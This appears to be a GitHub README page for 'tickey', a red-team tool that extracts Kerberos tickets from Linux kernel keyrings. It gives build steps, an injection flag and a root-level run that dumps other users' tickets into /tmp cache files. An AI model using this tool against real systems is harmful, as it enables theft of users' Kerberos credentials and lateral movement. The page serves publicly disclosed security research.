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About the developer

TarlogicSecurity
157 Stars 33 Forks GNU Affero General Public License v3.0 4 Commits 0 Opened issues

Description

Tool to extract Kerberos tickets from Linux kernel keys.

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Tickey

Tool to extract Kerberos tickets from Linux kernel keys.

Based in the paper Kerberos Credential Thievery (GNU/Linux).

Building

git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release

After that, binary should be in

dist/Release/GNU-Linux/
.

Execution

Arguments: * -i => To perform process injection if it is needed * -s => To not print in output (for injection)

Important: when injects in another process, tickey performs an

execve
syscall which invocates its own binary from the context of another user. Therefore, to perform a successful injection, the binary must be in a folder which all users have access, like /tmp.

Execution example:

[[email protected] /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets

License

This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details.

You should have received a copy of the GNU Affero General Public License along with this program. If not, see https://www.gnu.org/licenses/.

Author

Eloy Pérez González @Zer1t0 at @Tarlogic - https://www.tarlogic.com/en/

Acknowledgment

Thanks to @TheXC3LL for his support with the binary injection.

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